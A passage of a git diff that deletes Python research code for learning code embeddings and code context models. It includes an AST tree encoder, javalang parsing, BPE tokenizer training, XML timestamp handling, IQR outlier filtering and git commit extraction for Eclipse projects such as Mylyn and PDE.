返回输入张量给定维度上每行的最大值,并同时返回每个最大值的位置索引。 - return max_node - - -class BatchProgramCC(nn.Module): - def __init__(self, embedding_dim, hidden_dim, encode_dim, batch_size, use_gpu=True): - super(BatchProgramCC, self).__init__() - self.hidden_dim = hidden_dim - self.num_layers = 1 - self.gpu = use_gpu - self.batch_size = batch_size - self.embedding_dim = embedding_dim - self.encode_dim = encode_dim - self.encoder = BatchTreeEncoder(self.embedding_dim, self.encode_dim, - self.batch_size, self.gpu) - # gru - self.bigru = nn.GRU(self.encode_dim, self.hidden_dim, num_layers=self.num_layers, bidirectional=True, - batch_first=True) - # hidden - self.hidden = self.init_hidden() - self.dropout = nn.Dropout(0.2) - - def init_hidden(self): - if self.gpu is True: - if isinstance(self.bigru, nn.LSTM): - h0 = torch.Tensor(torch.zeros(self.num_layers * 2, self.batch_size, self.hidden_dim).cuda()) - c0 = torch.Tensor(torch.zeros(self.num_layers * 2, self.batch_size, self.hidden_dim).cuda()) - return h0, c0 - return torch.Tensor(torch.zeros(self.num_layers * 2, self.batch_size, self.hidden_dim)).cuda() - else: - return torch.Tensor(torch.zeros(self.num_layers * 2, self.batch_size, self.hidden_dim)) - - def get_zeros(self, num): - """ - 获取num * encode_dim的全零张量 - - Args: - num: 需要的行数 - - Returns: 形状为(num, self.encode_dim)全零张量 - """ - zeros = torch.Tensor(torch.zeros(num, self.encode_dim)) - # 用于创建一个形状为(num, self.encode_dim)的全零张量。其中,num张量的行数;self.encode_dim张量的列数 - if self.gpu: - return zeros.cuda() # 将全零张量移到GPU,加快计算速度 - return zeros - - def encode(self, x): # ? 应该是ast根节点子树个数 - """ - 对ast sequence编码,返回最终的200维度向量 - - Args: - x: ast解析后的sequences - - Returns: 200维度向量表示 - """ - b = [] - b.append(x) - x = b - lens = [len(item) for item in x] - max_len = max(lens) - - encodes = [] - for i in range(self.batch_size): - for j in range(lens[i]): - encodes.append(x[i][j]) - # ? - encodes = self.encoder(encodes, sum(lens)) - # ? * 128 - seq, start, end = [], 0, 0 - for i in range(self.batch_size): - end += lens[i] - seq.append(encodes[start:end]) - if max_len - lens[i]: - seq.append(self.get_zeros(max_len - lens[i])) - start = end - # 将多个张量沿着指定的维度连接起来 - encodes = torch.cat(seq) - # 将 encodes 张量的形状从 (N, *) 变为 (self.batch_size, max_len, *),其中 N 是原始张量的元素数量 - encodes = encodes.view(self.batch_size, max_len, -1) - # 将填充后的序列数据转换为PackedSequence对象,以便在RNN中使用 - encodes = nn.utils.rnn.pack_padded_sequence(encodes, torch.LongTensor(lens), True, False) - gru_out, _ = self.bigru(encodes, self.hidden) - # 将填充后的序列数据还原为原始形状, 并返回还原后的序列和原始长度信息 - gru_out, _ = nn.utils.rnn.pad_packed_sequence(gru_out, batch_first=True, padding_value=-1e9) - # 用于交换张量的两个维度。将gru_out张量的第1个和第2个维度进行交换。 - gru_out = torch.transpose(gru_out, 1, 2) - # pooling - # 对输入的张量gru_out进行一维最大池化操作。 - # 具体来说,它将gru_out沿着第二个维度(即长度维度)进行最大池化,池化窗口的大小为gru_out.size(2)。 - # 最后,使用squeeze(2)方法将结果张量的第三个维度(即长度维度)压缩为1。 - gru_out = F.max_pool1d(gru_out, gru_out.size(2)).squeeze(2) - gru_out = gru_out[0] - return gru_out diff --git a/my_embedding/solve_ast.py b/my_embedding/solve_ast.py deleted file mode 100644 index 1b59436..0000000 --- a/my_embedding/solve_ast.py +++ /dev/null @@ -1,81 +0,0 @@ -""" -解析各个model的ast,并保存 -ast 只解析一次,保存起来即可,太多了,很费时间 -""" -import os -from os.path import join -import pandas as pd -import warnings -from tqdm.auto import tqdm - -tqdm.pandas() -warnings.filterwarnings('ignore') - -repo_root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') - - -def get_parsed_source(input_file: str, output_file=None): - """Parse code using pycparser - - it reads a Dataframe from `input_file` containing the node_id and - code (input Java code) , applies the javalang to the code column and - stores the resulting dataframe into `output_file` - - Args: - input_file (str): Path to the input file - output_file (str): Path to the output file - - """ - import javalang - - def parse_program(member): - """ - call javalang to get ast tree for element - - :param member: (id, code) - :return: ast tree - """ - _id: str = member[0] - tokens = javalang.tokenizer.tokenize(member[1]) - parser = javalang.parser.Parser(tokens) - _id = _id[_id.find('_') + 1:] - code_type = _id[:_id.find('_')] - # 其实可以统一用 parse_member_declaration() - if code_type == 'class' or code_type == 'interface': - tree = parser.parse_class_or_interface_declaration() - else: - tree = parser.parse_member_declaration() - return tree - - # 读java数据文件 - source = pd.read_csv(input_file, delimiter='\t') - # print(source) - source['tokens'] = source.progress_apply(parse_program, axis=1) - source.columns = ['id', 'code'] - source.to_pickle(output_file) # 保存解析的结果 - - -def main_func(project_model_name: str): - project_path = join(repo_root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - # 读取code context model - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - java_code_path = join(model_path, 'processed_java_codes.tsv') - # 如果不存在java_code,跳过处理 - if not os.path.exists(java_code_path): - continue - print('solving ast...') - if os.path.exists(join(model_path, 'astnn_ast.pkl')): - print('ast exist, now removed') - os.remove(join(model_path, 'astnn_ast.pkl')) - get_parsed_source(input_file=join(model_path, 'processed_java_codes.tsv'), output_file=join(model_path, 'astnn_ast.pkl')) - - -main_func('my_mylyn') -main_func('my_pde') -main_func('my_platform') -main_func('my_ecf') - diff --git a/my_embedding/test.py b/my_embedding/test.py deleted file mode 100644 index 0e58d78..0000000 --- a/my_embedding/test.py +++ /dev/null @@ -1,31 +0,0 @@ -# from tokenizers import Tokenizer -# from tokenizers.models import BPE -# tokenizer = Tokenizer(BPE(unk_token="[UNK]")) -# -# from tokenizers.trainers import BpeTrainer -# trainer = BpeTrainer(special_tokens=["[UNK]", "[CLS]", "[SEP]", "[PAD]", "[MASK]"]) -# data = ["low", "lower", "newest", "wider"] -# from tokenizers.pre_tokenizers import Whitespace -# tokenizer.pre_tokenizer = Whitespace() -# -# # files = [f"data/wikitext-103-raw/wiki.{split}.raw" for split in ["test", "train", "valid"]] -# # tokenizer.train(files, trainer) -# tokenizer.train_from_iterator(data, trainer) -# -# tokenizer.save("tokenizer-wiki.json") -# -# tokenizer = Tokenizer.from_file("tokenizer-wiki.json") -# -# output = tokenizer.encode("Hello, y'all! How are you ?") -# -# print(output.tokens) -# # ["Hello", ",", "y", "'", "all", "!", "How", "are", "you", "[UNK]", "?"] -# print(output.ids) -# # [27253, 16, 93, 11, 5097, 5, 7961, 5112, 6218, 0, 35] -# -# -import torch.nn - -s = torch.nn.Embedding(3, 4) - -print(s(torch.Tensor(torch.LongTensor([1, 2])))) \ No newline at end of file diff --git a/my_embedding/train_BPE.py b/my_embedding/train_BPE.py deleted file mode 100644 index 463541a..0000000 --- a/my_embedding/train_BPE.py +++ /dev/null @@ -1,130 +0,0 @@ -""" -加载项目中的所有 ast,合并,并训练生成 word2vec 模型 -可以选择步长,根据步长那部分数据训练word2vec模型 -""" -import os -from os.path import join -import xml.etree.ElementTree as ET - -import pandas as pd -import warnings -from tqdm.auto import tqdm - -from dataset_split_util import get_models_by_ratio - -tqdm.pandas() -warnings.filterwarnings('ignore') - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') -my_root = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'my_embedding') - - -def choose_prediction_step(step: int, ast: pd.DataFrame, model_path, model_dir): - """ - 根据 step 过滤 ast - - :param step: 步长 - :param ast: 完整的 ast 数据 - :param model_path: model 所在路径 - :param model_dir: model 序号 - :return: 过滤后的 ast - """ - if step == 3: - return ast - else: - step_model_path = join(model_path, str(step) + '_step_expanded_model.xml') - tree = ET.parse(step_model_path) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - keys = [] - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - ref_id = vertex.get('ref_id') - kind = vertex.get('kind') - keys.append(model_dir + '_' + kind + '_' + ref_id) - return ast[ast['id'].isin(keys)] - - -def dictionary_and_embedding(trees, size, step, ratio, description): - """ - 分解词典和训练 word2vec 模型 - - Args: - trees: 需要训练的 ast 集合 pd.DataFrame(['id', 'code']) - size: 嵌入大小 128 - step: 步长 - ratio: 训练的数据比例 - description: 训练的项目描述信息:all训练所有项目,onlymylyn,nopde,noplatform - - Returns: 无 - """ - if not os.path.exists(join(my_root, 'tokens')): - os.mkdir(join(my_root, 'tokens')) - from utils import get_sequence - - def trans_to_sequences(ast): - sequence = [] - get_sequence(ast, sequence) - return sequence - - corpus = trees['code'].progress_apply(trans_to_sequences) # 调用函数,将 code 转换为 sequence - from tokenizers import Tokenizer - from tokenizers.models import BPE - tokenizer = Tokenizer(BPE(unk_token="[UNK]")) - from tokenizers.trainers import BpeTrainer - trainer = BpeTrainer(special_tokens=["[UNK]", "[CLS]", "[SEP]", "[PAD]", "[MASK]"]) - from tokenizers.pre_tokenizers import Whitespace - tokenizer.pre_tokenizer = Whitespace() - tokenizer.train_from_iterator(corpus, trainer) - tokenizer.save(join(my_root, 'tokens', f'{description}_{str(step)}_{str(ratio)}_tokens_{str(size)}.json')) - - -def main_func(step: int, description, r=0.8): - if description == 'all': - project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - ratio = r - elif description == 'onlymylyn': - project_model_list = ['my_mylyn'] - ratio = 1 - elif description == 'nopde': - project_model_list = ['my_platform', 'my_mylyn'] - ratio = 1 - elif description == 'noplatform': - project_model_list = ['my_pde', 'my_mylyn'] - ratio = 1 - elif description == 'mylyn': - project_model_list = ['my_mylyn'] - ratio = r - else: - project_model_list = [] - ratio = 1 - trees = pd.DataFrame(columns=['id', 'code']) - for project_model_name in project_model_list: - print('***********************', project_model_name) - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = get_models_by_ratio(project_model_name, 0.0, ratio) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - ast_path = join(model_path, 'astnn_ast.pkl') - # 如果不存在ast,跳过处理 - if not os.path.exists(ast_path): - continue - ast = pd.read_pickle(ast_path) - ast = choose_prediction_step(step, ast, model_path, model_dir) - print(f'ast size: {len(ast)}') - trees = pd.concat([trees, ast]) - dictionary_and_embedding(trees, 128, step, ratio, description) - -# Word2Vec(corpus, size=size, workers=16, sg=1, max_final_vocab=3000) -# corpus: 这是你的文本语料库。确保 corpus 是一个经过预处理的、可以迭代的文本集合,其中每个文档都是一个词列表。 -# size: 这是 Word2Vec 模型的向量维度,即每个单词的嵌入向量的维度大小。 -# workers: 这是用于训练的线程数。根据计算资源,你可以选择合适的值。在大多数情况下,选择一个较大的值(例如,16)是合适的,以便充分利用多核处理器。 -# sg: 这是 Word2Vec 的训练算法选择, -# sg=1 表示使用 Skip-Gram 算法, -# sg=0 表示使用 CBOW(Continuous Bag of Words)算法。 -# 通常,Skip-Gram 对于大型语料库和少量数据是更好的选择,而 CBOW 可以在小型数据集上更快地训练。 -# max_final_vocab: 这是最终词汇表的最大大小,即最终保留的独特词汇数量。 diff --git a/my_embedding/tree.py b/my_embedding/tree.py deleted file mode 100644 index c512d3e..0000000 --- a/my_embedding/tree.py +++ /dev/null @@ -1,189 +0,0 @@ -from javalang.ast import Node - - -class ASTNode(object): - def __init__(self, node): - self.node = node - # self.vocab = word_map - self.is_str = isinstance(self.node, str) - self.token = self.get_token() - # self.index = self.token_to_index(self.token) - self.children = self.add_children() - - def is_leaf(self): - if self.is_str: - return True - return len(self.node.children()) == 0 - - def get_token(self, lower=True): - if self.is_str: - return self.node - name = self.node.__class__.__name__ - token = name - is_name = False - if self.is_leaf(): - attr_names = self.node.attr_names - if attr_names: - if 'names' in attr_names: - token = self.node.names[0] - elif 'name' in attr_names: - token = self.node.name - is_name = True - else: - token = self.node.value - else: - token = name - else: - if name == 'TypeDecl': - token = self.node.declname - if self.node.attr_names: - attr_names = self.node.attr_names - if 'op' in attr_names: - if self.node.op[0] == 'p': - token = self.node.op[1:] - else: - token = self.node.op - if token is None: - token = name - if lower and is_name: - token = token.lower() - return token - - # def token_to_index(self, token): - # self.index = self.vocab[token].index if token in self.vocab else MAX_TOKENS - # return self.index - - # def get_index(self): - # return self.index - - def add_children(self): - if self.is_str: - return [] - children = self.node.children() - if self.token in ['FuncDef', 'If', 'While', 'DoWhile']: - return [ASTNode(children[0][1])] - elif self.token == 'For': - return [ASTNode(children[c][1]) for c in range(0, len(children) - 1)] - else: - return [ASTNode(child) for _, child in children] - - -Declarations = ['MethodDeclaration', 'ConstructorDeclaration', 'FieldDeclaration', 'ConstantDeclaration'] - - -class BlockNode(object): - def __init__(self, node): - self.node = node - self.is_str = isinstance(self.node, str) - self.token = self.get_token(node) - self.children = self.add_children() - - def is_leaf(self): - if self.is_str: - return True - return len(self.node.children) == 0 - - def get_token(self, node): - if isinstance(node, str): - token = node - elif isinstance(node, set): - token = 'Modifier' - elif isinstance(node, Node): - token = node.__class__.__name__ - else: - token = '' - return token - - def ori_children(self, root): - if isinstance(root, Node): - if self.token in Declarations: - children = root.children[:-1] - else: - children = root.children - elif isinstance(root, set): - children = list(root) - else: - children = [] - - def expand(nested_list): - for item in nested_list: - if isinstance(item, list): - for sub_item in expand(item): - yield sub_item - elif item: - yield item - - return list(expand(children)) - - def add_children(self): - if self.is_str: - return [] - logic = ['SwitchStatement', 'IfStatement', 'ForStatement', 'WhileStatement', 'DoStatement'] - children = self.ori_children(self.node) - if self.token in logic: - return [BlockNode(children[0])] - elif self.token in Declarations: - return [BlockNode(child) for child in children] - else: - return [BlockNode(child) for child in children if self.get_token(child) not in logic] - - -class SingleNode(ASTNode): - def __init__(self, node): - self.node = node - self.is_str = isinstance(self.node, str) - self.token = self.get_token() - self.children = [] - - def is_leaf(self): - if self.is_str: - return True - return len(self.node.children()) == 0 - - def get_token(self, lower=True): - if self.is_str: - return self.node - name = self.node.__class__.__name__ - token = name - is_name = False - if self.is_leaf(): - attr_names = self.node.attr_names - if attr_names: - if 'names' in attr_names: - token = self.node.names[0] - elif 'name' in attr_names: - token = self.node.name - is_name = True - else: - token = self.node.value - else: - token = name - else: - if name == 'TypeDecl': - token = self.node.declname - if self.node.attr_names: - attr_names = self.node.attr_names - if 'op' in attr_names: - if self.node.op[0] == 'p': - token = self.node.op[1:] - else: - token = self.node.op - if token is None: - token = name - if lower and is_name: - token = token.lower() - return token - - -class FieldNode(ASTNode): - """ - 专门用于解析 field - """ - - def __init__(self, node): - self.node = node - self.token = self.get_token() - self.children = [] - - def get_token(self, lower=True): - return self.node.declarators[0].name.lower() diff --git a/my_embedding/utils.py b/my_embedding/utils.py deleted file mode 100644 index bde633f..0000000 --- a/my_embedding/utils.py +++ /dev/null @@ -1,81 +0,0 @@ -from javalang.ast import Node -from tree import BlockNode -import sys - -sys.setrecursionlimit(10000) - - -def get_token(node): - token = '' - if isinstance(node, str): - token = node - elif isinstance(node, set): - token = 'Modifier' # node.pop() - elif isinstance(node, Node): - token = node.__class__.__name__ - - return token - - -def get_children(root): - if isinstance(root, Node): - children = root.children - elif isinstance(root, set): - children = list(root) - else: - children = [] - - def expand(nested_list): - for item in nested_list: - if isinstance(item, list): - for sub_item in expand(item): - yield sub_item - elif item: - yield item - - return list(expand(children)) - - -def get_sequence(node, sequence): - token, children = get_token(node), get_children(node) - sequence.append(token) - - for child in children: - get_sequence(child, sequence) - - if token in ['ForStatement', 'WhileStatement', 'DoStatement', 'SwitchStatement', 'IfStatement']: - sequence.append('End') - - -def get_blocks_v1(node, block_seq): - name, children = get_token(node), get_children(node) - logic = ['SwitchStatement', 'IfStatement', 'ForStatement', 'WhileStatement', 'DoStatement'] - if name in ['MethodDeclaration', 'ConstructorDeclaration']: - block_seq.append(BlockNode(node)) - body = node.body - if body is not None: # 抽象函数没有 body - for child in body: - if get_token(child) not in logic and not hasattr(child, 'block'): - block_seq.append(BlockNode(child)) - else: - get_blocks_v1(child, block_seq) - elif name in logic: - block_seq.append(BlockNode(node)) - for child in children[1:]: - token = get_token(child) - if not hasattr(node, 'block') and token not in logic + ['BlockStatement']: - block_seq.append(BlockNode(child)) - else: - get_blocks_v1(child, block_seq) - block_seq.append(BlockNode('End')) - elif name is 'BlockStatement' or hasattr(node, 'block'): - block_seq.append(BlockNode(name)) - for child in children: - if get_token(child) not in logic: - block_seq.append(BlockNode(child)) - else: - get_blocks_v1(child, block_seq) - else: - block_seq.append(BlockNode(name)) - for child in children: - get_blocks_v1(child, block_seq) diff --git a/params_validation/extra/add_timestamp.py b/params_validation/extra/add_timestamp.py deleted file mode 100644 index ea04529..0000000 --- a/params_validation/extra/add_timestamp.py +++ /dev/null @@ -1,71 +0,0 @@ -import shutil - -import os -import xml.etree.ElementTree as ET -from os.path import join - -from xmlparser.doxygen_main.get_standard_elements import solve_one - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if os.path.exists(directory): - shutil.rmtree(directory) - os.makedirs(directory) - return directory - - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'git_repo_code') -time_root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'repo_vs_commit_order', 'IQR_code_timestamp', '05') - - -def get_all_timestamp(time_path): - tree = ET.parse(time_path) # 拿到xml树 - root = tree.getroot() - code_element = root.find('code_elements') - elements = code_element.findall('element') - time_list = dict() - for element in elements: - res = solve_one(element.text) - time_list[res[1]] = element.get('event_start_date') - return time_list - - -def main_func(project_model_name: str, project_name: str): - project_path = join(root_path, project_model_name, 'repo_first_3') - time_file_path = join(time_root_path, project_name) - model_dir_list = os.listdir(project_path) - # 读取code context model - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_root = join(model_path, 'code_context_model.xml') - if not os.path.exists(model_path): - continue - # 拿到所有时间戳 - time_model_path = join(time_file_path, f'{model_dir}.xml') - all_timestamp = get_all_timestamp(time_model_path) - tree = ET.parse(model_root) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - graphs = root.findall("graph") - for graph in graphs: - vertices = graph.find('vertices').findall('vertex') - for vertex in vertices: - if all_timestamp.get(vertex.get('label')) is not None: - vertex.set('timestamp', all_timestamp.get(vertex.get('label'))) - else: - print(vertex.get('label')) - # print(all_timestamp.get(vertex.get('label'))) - tree.write(model_root) - - -main_func('my_mylyn', 'Mylyn') -main_func('my_platform', 'Platform') -main_func('my_pde', 'PDE') \ No newline at end of file diff --git a/params_validation/repo_vs_commit_order/1_extract_code_elements_and_timestamp.py b/params_validation/repo_vs_commit_order/1_extract_code_elements_and_timestamp.py deleted file mode 100644 index 69979a3..0000000 --- a/params_validation/repo_vs_commit_order/1_extract_code_elements_and_timestamp.py +++ /dev/null @@ -1,120 +0,0 @@ -""" -这个文件用于提取各个working periods的code elements和他们的timestamp -""" -import os -import shutil -from os.path import join -import numpy as np -import xml.etree.ElementTree as ET - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if os.path.exists(directory): - shutil.rmtree(directory) - os.makedirs(directory) - - -def read_xml(url): - """ - 读取xml格式文件 - - 参数: - url:文件路径 - 返回: - data:表格中的数据 - """ - tree = ET.parse(url) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - events = root.findall('event') - data = [] - # 遍历每一行数据 - for event in events: - # 定义表格存储每一行数据 - da = [event.get("event_kind"), event.get("event_structure_kind"), - event.get("event_structure_handle"), event.get("event_start_date"), event.get("event_kind")] - # 存储每一行数据 - data.append(da) - timestamp = root.find('timestamp') - # 返回数据 - return str(root.get('bug_id')), data, [timestamp.get('start'), timestamp.get('last')] - - -def main_fun(): - origin_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'working_periods', 'code_elements') - origin_file_dir_list = os.listdir(origin_path) - for index_dir in origin_file_dir_list: - if index_dir not in ['05']: - continue - index_path = join(origin_path, index_dir) - project_list = os.listdir(index_path) - # 进入项目目录 - for project_dir in project_list: - if project_dir not in ['PDE', 'Mylyn', 'Platform', 'ECF']: - continue - make_dir("code_timestamp/" + index_dir + '/' + project_dir) - project_path = join(index_path, project_dir) - xml_list = os.listdir(project_path) - xml_list = [x[:x.find('.')] for x in xml_list] - xml_list = sorted(xml_list, key=lambda x: int(x)) - xml_list = [x + ".xml" for x in xml_list] - for period_xml_file in xml_list: - bug_id, xml_data, time_stamp = read_xml(join(project_path, period_xml_file)) # 拿到所有的data - a = np.array(xml_data) - # 得到不重复的code elements - con = [] - handles = [] # 用来保存handles - for line in xml_data: - if line[2] in handles: - con.append(False) - else: - handles.append(line[2]) - con.append(True) - effective_data = a[con] # 得到有效的event - if len(effective_data) <= 0: - continue - else: - # 创建根元素 - root = ET.Element("working_period") - # 设置id - period_id = ET.SubElement(root, "id") - period_id.text = str(period_xml_file[:period_xml_file.find('.xml')]) - # 设置项目 - project_et = ET.SubElement(root, "project") - project_et.text = str(project_dir) - # 设置bug_id - project_et = ET.SubElement(root, "bug_id") - project_et.text = bug_id - # 设置时间戳 - timestamps = ET.SubElement(root, "timestamps") - first_stamp = ET.SubElement(timestamps, "first") - first_stamp.text = time_stamp[0] - last_stamp = ET.SubElement(timestamps, "last") - last_stamp.text = time_stamp[1] - # 设置code elements - code_elements = ET.SubElement(root, "code_elements") - code_elements.set("total", str(len(effective_data))) - for line in effective_data: - element = ET.SubElement(code_elements, "element") - element.set('event_start_date', line[3]) - element.set('event_kind', line[4]) - element.text = line[2] - # 创建XML树 - tree = ET.ElementTree(root) - # 将XML写入文件 - xml_file_name = os.path.join(os.path.dirname(os.path.realpath(__file__)), - "code_timestamp/", index_dir, project_dir, period_xml_file) - tree.write(xml_file_name) - print("{0} working period of {1}'s {2} bug has {3} valid code elements".format(period_xml_file, - project_dir, - bug_id, - len(effective_data))) - - -main_fun() diff --git a/params_validation/repo_vs_commit_order/2_quartile_IQR.py b/params_validation/repo_vs_commit_order/2_quartile_IQR.py deleted file mode 100644 index 34667be..0000000 --- a/params_validation/repo_vs_commit_order/2_quartile_IQR.py +++ /dev/null @@ -1,65 +0,0 @@ -""" -此文件用于计算各个项目的code elements的四分位数,检测数据异常 -需要将输出的文件复制到 IQR.txt 中 -""" -# 提取code element和最早最晚的startDate -import os -from os.path import join -import numpy as np -import xml.etree.ElementTree as ET - - -def read_xml_excel(url): - """ - 参数: - url:文件路径 - """ - tree = ET.parse(url) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - events = root.find('code_elements') - return int(events.get('total')) - - -def main_func(dir_list: list[str]): - file_path = join(os.path.dirname(os.path.realpath(__file__)), 'code_timestamp') - file_dir_list = os.listdir(file_path) - for index_dir in file_dir_list: - # 进入 code_elements/06 文件夹 只考虑3h的 - if index_dir not in dir_list: - continue - print(index_dir, '-----------') - index_path = join(file_path, index_dir) - project_list = os.listdir(index_path) - # 进入项目目录 - for project_dir in project_list: - if project_dir not in ['PDE', 'Mylyn', 'Platform', 'ECF']: - continue - print("current project: {0}".format(project_dir)) - project_path = join(index_path, project_dir) - xml_list = os.listdir(project_path) - xml_list = [x[:x.find('.')] for x in xml_list] - xml_list = sorted(xml_list, key=lambda x: int(x)) - xml_list = [x + ".xml" for x in xml_list] - events_counts_list = [] # 记录所有event个数信息 - # 收集所有working periods的event个数信息 - for xml_file in xml_list: - xml_path = join(project_path, xml_file) - total_event = read_xml_excel(xml_path) # 拿到所有的data - events_counts_list.append(total_event) - sort_counts_list = np.sort(events_counts_list) - Q1 = np.percentile(sort_counts_list, 25, method='midpoint') - Q3 = np.percentile(sort_counts_list, 75, method='midpoint') - print('Q1 = ', Q1) - print('Q3 = ', Q3) - IQR = Q3 - Q1 - print('IQR = ', IQR) - low_lim = Q1 - 3 * IQR - up_lim = Q3 + 3 * IQR - print('Q1 - 3 * IQR = ', low_lim) - print('Q3 + 3 * IQR = ', up_lim) - print("----------------------------------------------") - - -# 3h -main_func(['05']) diff --git a/params_validation/repo_vs_commit_order/3_IQR_filter.py b/params_validation/repo_vs_commit_order/3_IQR_filter.py deleted file mode 100644 index 1b1965b..0000000 --- a/params_validation/repo_vs_commit_order/3_IQR_filter.py +++ /dev/null @@ -1,80 +0,0 @@ -""" -这里会根据计算出来的分位线来过滤异常值 -保存到 IQR_code_timestamp 中 -""" -import os -import shutil -from os.path import join -import xml.etree.ElementTree as ET - - -period_index = 0 - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if os.path.exists(directory): - shutil.rmtree(directory) - os.makedirs(directory) - - -def read_xml_excel(url): - """ - 参数: - url:文件路径 - """ - tree = ET.parse(url) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - events = root.find('code_elements') - return events.get('total') - - -def main_func(dir_list: list[str], outliers: dict()): - file_path = join(os.path.dirname(os.path.realpath(__file__)), 'code_timestamp') - file_dir_list = os.listdir(file_path) - global period_index - for index_dir in file_dir_list: - if index_dir not in dir_list: - continue - index_path = join(file_path, index_dir) - project_list = os.listdir(index_path) - # 进入项目目录 - for project_dir in project_list: - period_index = 0 - if project_dir not in ['PDE', 'Mylyn', 'Platform', 'ECF']: - continue - make_dir("IQR_code_timestamp/" + index_dir + '/' + project_dir) - print("current project: {0}".format(project_dir)) - project_path = join(index_path, project_dir) - xml_list = os.listdir(project_path) - xml_list = [x[:x.find('.')] for x in xml_list] - xml_list = sorted(xml_list, key=lambda x: int(x)) - xml_list = [x + ".xml" for x in xml_list] - for xml_file in xml_list: - xml_path = join(project_path, xml_file) - total_event = read_xml_excel(xml_path) # 拿到所有的data - if int(total_event) > outliers.get(project_dir)[1]: - continue - period_index += 1 - new_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), - "IQR_code_timestamp/" + index_dir + '/' + project_dir + '/' + str( - period_index) + ".xml") - shutil.copy(xml_path, new_path) - print('success copy {0} {1} {2} to {3} {4} {5}.xml'.format( - index_dir, project_dir, xml_file, index_dir, project_dir, period_index - )) - - -# 3h -main_func(['05'], { - "ECF": [-30, 47], - "Mylyn": [-70, 105], - "PDE": [-32.5, 48], - "Platform": [-112, 168] -}) diff --git a/params_validation/repo_vs_commit_order/4_extract_model_commit_first.py b/params_validation/repo_vs_commit_order/4_extract_model_commit_first.py deleted file mode 100644 index dc132d3..0000000 --- a/params_validation/repo_vs_commit_order/4_extract_model_commit_first.py +++ /dev/null @@ -1,194 +0,0 @@ -""" -读取每个working periods,回退时间戳版本 -查找是否存在对应元素, -将这部分文件提取出来(*这里一开始为了节省开销,只保留元素所在的文件,但是后续需要扩展,所以需要保留整个project*),运行doxygen, -保存输出的doxygen文件 -然后分析doxygen输出文件,找出各个节点之间的关系,并生成上下文模型,保存到xml文件中 - -需要进行验证的: -commit number 1,2,3 -commit和repo顺序:repo优先:每个repo一次探查多个commit, commit优先:还是一次探查一个,不断循环repo -""" -# 先用第一个测试一下 -import shutil - -from git import Repo -import os -import xml.etree.ElementTree as ET -from os.path import join - -from params_validation.utils import solve_file, run_doxygen, copy_file -from xmlparser.doxygen_main import get_relations - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if os.path.exists(directory): - shutil.rmtree(directory) - os.makedirs(directory) - return directory - - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'git_repo_code') - - -def main_func(git_path: list[str], project_name: str, project_input: str): - commit_index_threshold = 1 # 最近的commit_index的阈值 待取值为1,2,3,都要跑一次 - file_path = join(os.path.dirname(os.path.realpath(__file__)), 'IQR_code_timestamp') - file_dir_list = os.listdir(file_path) - # 读取working periods - for index_dir in file_dir_list: - # 进入06文件夹 - if index_dir not in ['05']: - continue - print('---------------', index_dir) - index_path = join(file_path, index_dir) - project_list = os.listdir(index_path) - # 进入项目目录 - for project_dir in project_list: - if project_dir not in [project_input]: - continue - project_path = join(index_path, project_dir) - xml_list = os.listdir(project_path) - xml_list = [x[:x.find('.')] for x in xml_list] - xml_list = sorted(xml_list, key=lambda x: int(x)) # 使用key=len在ubuntu不行,两个系统文件排序方法不一样 - xml_list = [x + ".xml" for x in xml_list] - for xml_file in xml_list: - print("************* handle {}'s {} working period".format(project_dir, xml_file)) - # model_exist = join(root_path, f'my_{project_name}', f'commit_first_{commit_index_threshold}', xml_file[0:xml_file.find('.')], 'code_context_model.xml') - # if os.path.exists(model_exist): - # print('exist....') - # continue - # 创建目录,保存文件,方便运行doxygen - make_root_path = make_dir(join(root_path, f'my_{project_name}', f'commit_first_{commit_index_threshold}', - xml_file[0:xml_file.find('.')])) - tree = ET.parse(join(project_path, xml_file)) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - timestamps = root.find("timestamps") - first_time = timestamps.find('first').text - last_time = timestamps.find("last").text - print('time: {0}'.format(last_time)) - code_element = root.find('code_elements') - elements = code_element.findall('element') - elements_text = [] - for element in elements: - elements_text.append(element.text) - recent_commit = '' - git_repository = '' - for commit_index in range(commit_index_threshold): - print("handling recent {} commit".format(commit_index)) - for git_repo in git_path: - print(git_repo) - git_repository = git_repo - repo = Repo(git_repo) - # 设置UTC时区 - commits = list(repo.iter_commits(until=first_time + 'Z')) # 找第一个之前的commit - if len(commits) <= commit_index: # 如果commit不足,跳过处理 - continue - recent_commit = commits[commit_index] - newest_commit = list(repo.iter_commits(max_count=3))[0] # 保存最新的那个提交 - print("recent {0}:{1}".format(recent_commit, recent_commit.committed_datetime)) - print("newest {0}:{1}".format(newest_commit, newest_commit.committed_datetime)) - 